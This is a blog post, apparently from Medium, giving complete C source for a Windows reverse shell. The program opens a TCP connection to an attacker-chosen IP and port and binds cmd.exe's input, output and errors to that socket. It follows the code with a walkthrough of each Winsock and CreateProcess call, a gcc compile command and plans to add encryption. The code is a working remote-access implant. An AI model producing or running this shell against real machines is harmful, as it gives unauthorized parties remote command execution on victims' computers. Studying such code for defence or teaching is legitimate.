Simple Reverse Shell in C

Omer Gunesacar
4 min readMar 15, 2024

--

This is a basic reverse shell written in C that sets up a TCP connection between two devices in a same network and executes the Windows Command Prompt (cmd.exe). All the output, including errors, is being redirected to us so that allowing us to control the target machine.

GitHub: https://github.com/OmerGnscr/Simple-Reverse-Shell-in-C

#include <windows.h>
#include <stdio.h>
#include <winsock2.h>

WSADATA wsaData;
SOCKET winSock;
struct sockaddr_in sockAddr;

int port = <your-port>;
char *ip = "<your-ip>";

STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;

int main(int argc, char *argv[]){

int start = WSAStartup(MAKEWORD(2,2), &wsaData);

winSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);

sockAddr.sin_family = AF_INET;
sockAddr.sin_port = htons(port);
sockAddr.sin_addr.s_addr = inet_addr(ip);

WSAConnect(winSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr), NULL, NULL, NULL, NULL);

memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = STARTF_USESTDHANDLES;
sinfo.hStdError = (HANDLE)winSock;
sinfo.hStdInput = (HANDLE)winSock;
sinfo.hStdOutput = (HANDLE)winSock;

CreateProcessA(NULL, "cmd.exe", NULL, NULL,TRUE , 0, NULL, NULL, &sinfo, &pinfo);

return 0;
}

Let’s summarize what’s happening before we go into the details:

  1. The Winsock is initialized using the WSAStartup() fucntion.
  2. The socket is created using the WSASocket() function.
  3. After assigning ip address and port, connection is established
    using WSAConnect() function. This establishes a TCP connection.
  4. After the connection, a new process is created using CreateProcessA() function. This function creates a cmd.exe and all the input, output and errors are redirected to us.

#include <stdio.h> library is used for input and output operations.

#include <winsock2.h> library is used for networking like socket programming.

WSADATA structure contains information about the Windows Sockets implementation.

WSADATA wsaData; is used for creating a WSADATA object whose name is wsaData.

SOCKET winSock; The socket function creates a socket whose name is winSock.

struct sockaddr_in sockAddr; This structure specifies socket address and port for IPv4 address family.

int port = <port>; Specifies the port that will be used.
char *ip = “<ip>”; IPv4 address that target machine will connect to.

STARTUPINFO sinfo; STARTUPINFO is used to specify in and out settings for new process that is created by CreateProcessA().

  • cb — The size of the structure, in bytes.
  • lpTitle — For console processes, this is the title displayed in the title bar if a new console window is created.
  • dwFlags — Flags that control how the new process is created.
  • hStdError, hStdInput, hStdOutput — Handles for error, input and output, respectively.

PROCESS_INFORMATION pinfo; Contains information about a newly created process.

WSAStartup function is used to initialize the socket. First argument specifies the version. There are five versions to choose from and we selected the highest version by using MAKEWORD(2,2).

  • MAKEWORD is used to create a WORD value by concatenating the specified values which is 2,2.
  • LPWSADATA lpWSAData — Starting by word L means that WSAData is a pointer and it hold the details of the windows sockets implementation.

If successful, the WSAStartup function returns zero.

WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); is used to create a socket.
If no error occurs, WSASocket returns a descriptor referencing the new socket.

  • AF_INET specifies address family which is IPv4 address family in our case.
  • SOCK_STREAM specifies that TCP protocol is used.
  • IPPROTO_TCP indicates that we use TCP as well.
  • lpProtocolInfo is set to NULL, indicates that no specific setting is specified.
  • g — set to zero if no group operation is performed.
  • dwFlags — A set of flags used to specify additional socket attributes.

sockAddr.sin_family = AF_INET; Sets the address family. IPv4 in our case.
sockAddr.sin_port = htons(port); Sets the port number with using htons.

  • However, network protocols expect the port number to be in network byte order (big-endian) so htons() function is used to convert the port number to network byte order.

sockAddr.sin_addr.s_addr = inet_addr(ip); Sets the ipv4 address.

WSAConnect is used to establish a connection on a socket to a specified address.
If no error occurs, WSAConnect returns zero.

  • winSock: Socket descriptor that indicates which socket to be used for the connection.
  • (SOCKADDR*)&sockAddr — A pointer to a sockaddr structure that specifies the address to which to connect.
  • sizeof(sockAddr) — The length, in bytes, of the sockaddr structure pointed to by the name parameter.

memset() is used to fill a block of memory with a particular value.
In our case, it sets all the bytes in the “sinfo” to zero. It is a common way to initialize an array before using it.

  • sinfo.cb — size of the sinfo
  • STARTF_USESTDHANDLES indicates that the hStdInput, hStdOutput, and hStdError members contain additional information. It enables the redirection of standard input, standard output, and standard error for the new process.

CreateProcess is used to create a new process. All the parameters can also be found at microsoft’s documentations.

  • cmd.exe” means that the we want to execute cmd.exe.
  • For the last two parametes, we set the STARTUPINFO and PROCESS_INFORMATION.

Compile with gcc .\c-rev-shell.c -o shell.exe -lws2_32

To-do:

1. Error-handling
2. Adding encryption
3. Adding functionality

--

--